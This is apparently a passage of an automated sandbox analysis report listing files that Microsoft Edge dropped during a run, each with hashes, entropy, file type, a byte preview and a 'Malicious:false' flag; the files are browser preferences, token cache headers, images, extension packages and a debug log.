                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):51490
                                Entropy (8bit):6.0971013870432955
                                Encrypted:false
                                SSDEEP:
                                MD5:0203219B4E6BDE89FA07C682FD4F5A28
                                SHA1:F64B2A7011DF2649D0A7FEC60099993F8C63D6BD
                                SHA-256:42C2C76012F6A2FC4A71A323362A95835CBDF46FA8DD1B5FE034DF6197F6750E
                                SHA-512:1731A4BF69A74F6589DCE50C3C0251EFD5BFAC987564F85D991B4C3D8C81099815A66C463403F30102528553C335C9845BA2FB6798418E646344E0D601E935A0
                                Malicious:false
                                Reputation:unknown
                                Preview:{"abusive_adblocker_etag":"\"1446F871A5E58FB5B1B34BD04852509C872FE9FF133B356EDAF0B872213F61EE\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"717341cc-cab3-4ace-b2e9-28c8315e410a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dc498433-719f-40e2-8234-9f089d21c993.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):51375
                                Entropy (8bit):6.097725598858373
                                Encrypted:false
                                SSDEEP:
                                MD5:14944B1C8C584B7077A162B75B710F4E
                                SHA1:9B999554DF86A2E9808E53A9BF9D404A44871AB9
                                SHA-256:5EED2EF5B736F890223ED285154230847B14001769029B54F23A5A36A8BFA992
                                SHA-512:20012499D833FF8908E136CBB2D78985D34C0311CB18CC538E2218EA5B4CADFE3329A5229A95CB71D36A0F54A91ACE17E1315F5C4A4F4934613CEAAD8D1ACB93
                                Malicious:false
                                Reputation:unknown
                                Preview:{"abusive_adblocker_etag":"\"1446F871A5E58FB5B1B34BD04852509C872FE9FF133B356EDAF0B872213F61EE\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"717341cc-cab3-4ace-b2e9-28c8315e410a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

                                C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):2278
                                Entropy (8bit):3.8344798544770438
                                Encrypted:false
                                SSDEEP:
                                MD5:0694C5D1752388F398C4E51B6CC55346
                                SHA1:4E423C1BEEE6FA308754A49FB94AF59BC145B763
                                SHA-256:8214B2185C3E6E102890A9847C129918BD36F385627E80657734D403AC2C70CB
                                SHA-512:50B5241D42656253D9B788F14BC7893DD8708078DE1224BE64F3A21A8A34D1EB19527C7D9BED12C9033402246CA5DA50920AF9F2165BF376D16009A60BC0E098
                                Malicious:false
                                Reputation:unknown
                                Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.O.N.T.O.x.2.y.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.O.4.W.S.b.F.

                                C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):4622
                                Entropy (8bit):4.002247750337685
                                Encrypted:false
                                SSDEEP:
                                MD5:753DE6F743B621AE2FCFFE4229E06EF9
                                SHA1:967D6AE52911183FDB434DC9EE03759A9692FAB3
                                SHA-256:41C811BC16467CB9168D257A9A59B24CA873C08E2FC0C06892154AD72A09EE0E
                                SHA-512:09364A0C902727CDCF56D856A3B1275EAFA416DFBCA4FA5656A849573366E629723CAE445B58B11680F0BC81E944E7A788A9452B5F7D7623D92FB0B5406AF560
                                Malicious:false
                                Reputation:unknown
                                Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".h.w.M.x.I.R.W.y.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.O.4.W.S.b.F.

                                C:\Users\user\AppData\Local\Temp\178e847d-02f1-4a15-84df-fdf8045e1576.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
                                Category:dropped
                                Size (bytes):169157
                                Entropy (8bit):7.8868653913080635
                                Encrypted:false
                                SSDEEP:
                                MD5:0F76C1CE6CC98C52BAC7E645F69FF464
                                SHA1:372CC0CC985138B7A6FC2A866ADACE58AF11FCB2
                                SHA-256:53B6F9E567E8CEAF7D0982A100BD576D53C0EE9E8D060446BBC5C47A85DB9718
                                SHA-512:ABAFCBFE1EFD27F45D649A626381FC8F837030B54BAD3ED07345A2DE9E5DB29D4F4B7183A86A66E82E4BD03FD889819E49BDA8B9CA139B2B3D21F06758F89154
                                Malicious:false
                                Reputation:unknown
                                Preview:.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

                                C:\Users\user\AppData\Local\Temp\3b7d09f4-5bf3-45ab-9b88-8d115da5bff0.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:PNG image data, 301 x 310, 8-bit/color RGBA, non-interlaced
                                Category:dropped
                                Size (bytes):1390062
                                Entropy (8bit):7.952244837651769
                                Encrypted:false
                                SSDEEP:
                                MD5:B298F8C99E9F7D1CFCAACF4FA35E2169
                                SHA1:DB16DF4FF7150BFEF0CA5FA0D1A45C4617D0DB37
                                SHA-256:5F6FBB301CD5D1F07D6953911B71E471B0725C1B57EEF3737D65CB95219110F6
                                SHA-512:53E1F4E9A8938E150D6D16745E81653AC94F958D65E31612F9FEEBB2D4481E50518E68BB40A9463F11FDA11BDCFB744F12AA5E34594EC912FF51335C0936CA48
                                Malicious:false
                                Reputation:unknown
                                Preview:.PNG........IHDR...-...6.....4......pHYs..!8..!8.E.1`....sRGB.........gAMA......a.....IDATx...k.f.u...u......-....U.dd.$R.d'..G.$..r.D...`.R...Re..*kf\....D.G~........Hd...d..$-..E.D......e.......}g.....Yk...`p....|.....z..^{......p\...{_w..w..3.7..}....z...k..k......]../.[...v..._..i.M..................S~q.D....W....[n...............U;.?...6.....5...m.............ou..3.W...u.....Lx....~.?..x./..X...._....y...........q.....5..^.re...X.w....k;3...f'I.].$....F ..B..(.. V..h.-/......2..=..-...Hg<.4....X.z..x...........`..z....#.........6....|4..7.@3 !qC.................!.~].da.=.7..Y.L._..(k.ES.q.`V.,.....c.1.-.G.\.c.z.....=^..].z........s..z..v..[7.o...&.`...$...R..@l.x..b...,..H.+.&u.n.!.....2.(.s.7z7'.".'.C......G..0,.e.........j..v....w.G.....w...W..{..W..W.......uz....g"N.J.f...B..:\..c>..nF.4......nd_..:.uv.r.\.3{.........X..e#..W......b.}._...5)_..].z...?~.._Y.....6a.....g..(....F'...2...._;.0..&?W....L... .N.....u.u`[.....U..d..@..#..s.N.

                                C:\Users\user\AppData\Local\Temp\7507cc5c-59af-4e64-bdfe-baf84b6e89eb.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
                                Category:dropped
                                Size (bytes):103469
                                Entropy (8bit):7.5851113512003785
                                Encrypted:false
                                SSDEEP:
                                MD5:37CF67E6E5D3AE47CF40406A1E8BE94F
                                SHA1:2A6F868ADC761DB9C03869E238BEA0D67D1FE6CE
                                SHA-256:B4B4DBE335296D0CCF9C659D671A54C2FA06F8B4E41228CF03E1D21F7C8F9D03
                                SHA-512:51F2C8B56592237378BE92C3EFCD814FC3E144120D109B15A7341AB03F9674251EE8B21BB172E6E021100F4EF792A5114D5B94F86EE0B157FD3386975BEC94CD
                                Malicious:false
                                Reputation:unknown
                                Preview:......Exif..II*.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..*B.P..*(.................*.....................( ..................*.. .".... .".......(.. .".....*.. ....o......E.6... ..*..."........."J......Ah......@.@@....:@{6..wCp..3...((.(......................*...@..(...."....................*......*.. ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

                                C:\Users\user\AppData\Local\Temp\a788d671-ee40-46a7-9a30-6d4c96c309b2.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:PNG image data, 342 x 126, 8-bit colormap, non-interlaced
                                Category:dropped
                                Size (bytes):7530
                                Entropy (8bit):7.939299447353715
                                Encrypted:false
                                SSDEEP:
                                MD5:A96BE32BF33CCDC6C0B4137ECB5FD563
                                SHA1:2CDDF8A54326A15323660D44FAD9C0DC485C8D12
                                SHA-256:A6B4FC12406A93652C8856AAA158CE23A3D119B9E6FCFA01ACECB568B0BE001C
                                SHA-512:A6194A915071E400BFB865E21091649A741588EAC78D61850647A7FD2DEEABA3E030C7B07675E7B09AEC50CCF1B33A655737B8E6A31A4DC86A054E1CC108F927
                                Malicious:false
                                Reputation:unknown
                                Preview:.PNG........IHDR...V...~.....H..^....PLTE....ZB.|S.........E.TE.E.TF........(L{.......E.+Fm.......................WL..................UI....Jh......\O...~.L<.OE.........[.k..o.\..f.V....eY.{...u.j......~.......\.bR^......{.`.T.b..r._T.ob.L;.V..w.y..N..z.}j..r._........WK.......{n.n..F...n.sb.lY.h..........b...........{...o.d.a.N3.....n....l....O..U..j..y....S.w.....y.?&..m..R..........s.n..{..^..V...y.-....D..........D...:f..S....Y..b..[{."h..S.....g.T..dx..x.;^.qR....Fs.!L.r...'....oo..0......i.0K......fF...o..0%.}..D....Wi..D.2,.CZ.s?p.2.Ud.c....4..@.b-.:~..#. .......K..y.dy..<:.%9...:Y.J'.$Eo.....>]..}Y.>.6<X>6.bW.d4.......cxTA......dI.OA..S-K.....tRNS... .vvv....p..l.....IDATx...;..0..a...[w..=;.`!>..X..FW...?..)tY..2......*d.*..&N.K.N.v....T..n.]U$.V+L.X.Fq..kV..fq'.X!...!}~..|...P0.........Y+feVf=....0...n.R."E(..H

                                C:\Users\user\AppData\Local\Temp\cf1aa74d-95e0-4a62-a852-d903d2614bbc.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:Google Chrome extension, version 3
                                Category:dropped
                                Size (bytes):101423
                                Entropy (8bit):7.716355979337822
                                Encrypted:false
                                SSDEEP:
                                MD5:6457B577795F5C8949055DA3A8D3AB2E
                                SHA1:515B61672FE5F3B2A78B7A64D7B83FADAF43E4E0
                                SHA-256:52434403B00CD4AD818162921EB958AB318F2EAED1041CC0EB7216F97A63E950
                                SHA-512:DA6F36047A99BFB7D3E942BC1AD5F935EF9913899765A39E0B29CB117AB706948AB38AD5FA468507AECFB39612DA9C3C0E18C707496AF498390B00184CE61622
                                Malicious:false
                                Reputation:unknown
                                Preview:Cr24....d.........0.."0...*.H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.q*Ba/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.|.X.M..u..s[.*..?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.*1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........N..s...._?1n.'..S.rk........S........E..%..N.U.3.....7.)A.[z.&..)._....{._A.Wj.;.dxDo.G.n..>{J.Qn..h.....|......5.~.....{oOJ.2):...$.R=CVb.3.3....(..*.q..e.yg..vI...s..C.,..Qw..K/.......%.....R5......Q....W....V..5..2i|c9.....%Y.....e....;\.....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!......o..K..K_TS....b.....i..... s.Re3B.g.;x[sb..)2.........u...".$............oo.:...h..G....yW......?..h.0-.ChC...|....]...q..T)m....k......CV...<..K..?....k.......YU?......W.Wy.......?........AS..!.m.f].f...q..9....JSmEr.......T/Rd...Y....j.....H.s......~...)l.o.g...)....K......x.....1bp.....uyG.....B

                                C:\Users\user\AppData\Local\Temp\cv_debug.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1420
                                Entropy (8bit):5.407169131379547
                                Encrypted:false
                                SSDEEP:
                                MD5:F9A799389B33B9D4F5A42941F46F1EDE
                                SHA1:67EA1F3EEE849B950B49EA11094351FE081355C3
                                SHA-256:34453BF5684EB0FBA39245B7894B89750F7344A2CBF7BB5CFA42220F2F807C60
                                SHA-512:971EC985544ABC37667BAFAD084522585A08F417D4A15F5C90089550EE5905FF3573253400490E60976990282A59FC8A2C89CB7B56FA9622944C07520F190534
                                Malicious:false
                                Reputation:unknown
                                Preview:{"logTime": "1006/090722", "correlationVector":"rmkayOhJfEabcRCB2/Bp31","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/090722", "correlationVector":"jqHPV/yTVN5KYgOfDN/5Rr","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/090722", "correlationVector":"25C1A0EE3BD244A1BB83CF2641B12F1A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1006/093120", "correlationVector":"a/GaihlkzouX6tpAQ3civy","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/093121", "correlationVector":"2831F27CA5B645488E2DF2452C16A59E","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1006/093243", "correlationVector":"7DhT8FK3VbHYWFgub0ZtsN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/093243", "correlationVector":"83EFC8979E1A419495133BAFAFA5A23F","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1006/093745", "correlationVector":"Bxyvid0fodNJ7Wehc/BC7P","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/093746", "correlationVector":"B1516CBB

                                C:\Users\user\AppData\Local\Temp\d5fbc8e2-b88f-4c4d-8d04-8f4c823b9772.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:Google Chrome extension, version 3
                                Category:dropped
                                Size (bytes):11185
                                Entropy (8bit):7.951995436832936
                                Encrypted:false
                                SSDEEP:
                                MD5:78E47DDA17341BED7BE45DCCFD89AC87
                                SHA1:1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
                                SHA-256:67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
                                SHA-512:9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
                                Malicious:false
                                Reputation:unknown
                                Preview:Cr24..............0.."0...*.H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0...*.H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

                                C:\Users\user\AppData\Local\Temp\de21210c-d3e3-4ccf-bdf0-ae8d933c855b.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x157, components 3
                                Category:dropped
                                Size (bytes):237425
                                Entropy (8bit):7.909554737151717
                                Encrypted:false
                                SSDEEP:
                                MD5:9EFCEAD01E5F2DEF9BFEBD82DAA3535E
                                SHA1:787CA119C79FF4A051FB1FACA48B77146F61BCD6
                                SHA-256:AA55B9715303CEB4A4AECE5D461B48DD41A9A5E3C9B734AD18FF2164C94D1D9E
                                SHA-512:4A2202D55A56DA4FE1321ED3D797FB9C71F5BE9D5192AB377E3994A0F15C79B2EAB8EB849435611BC739D0BA7E7FB1BB73103A84352ED5C489ED5411854FC186
                                Malicious:false
                                Reputation:unknown
                                Preview:......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..".!1.....V..W.u&..A;.....p.S"..B~..a9v5..h....V...(..ylv&....A.,..z`V....n.....=0..VR..k.......b...5]..w.....5;M.o.^......M.U..K.9X.!G.....d.W7..%.25....n...( .~..;.mR..I...G..wu.}..7..*.$`1.<7.N....h.z..)J.........oY~%M'^.5Kr....9.....F.l.<.gWbq^.|*..Z)5....2k.....x.Io..._.....^.S.]:.j=...G..U.....#..4..c...\i.3>...n.".V.....<..{;!......s.....*..o...."..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_1120055579\CRX_INSTALL\_metadata\verified_contents.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1753
                                Entropy (8bit):5.8889033066924155
                                Encrypted:false
                                SSDEEP:
                                MD5:738E757B92939B24CDBBD0EFC2601315
                                SHA1:77058CBAFA625AAFBEA867052136C11AD3332143
                                SHA-256:D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
                                SHA-512:DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
                                Malicious:false
                                Reputation:unknown
                                Preview:[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_1120055579\CRX_INSTALL\content.js

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
                                Category:dropped
                                Size (bytes):9815
                                Entropy (8bit):6.1716321262973315
                                Encrypted:false
                                SSDEEP:
                                MD5:3D20584F7F6C8EAC79E17CCA4207FB79
                                SHA1:3C16DCC27AE52431C8CDD92FBAAB0341524D3092
                                SHA-256:0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
                                SHA-512:315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
                                Malicious:false
                                Reputation:unknown
                                Preview:(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_1120055579\CRX_INSTALL\content_new.js

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
                                Category:dropped
                                Size (bytes):10388
                                Entropy (8bit):6.174387413738973
                                Encrypted:false
                                SSDEEP:
                                MD5:3DE1E7D989C232FC1B58F4E32DE15D64
                                SHA1:42B152EA7E7F31A964914F344543B8BF14B5F558
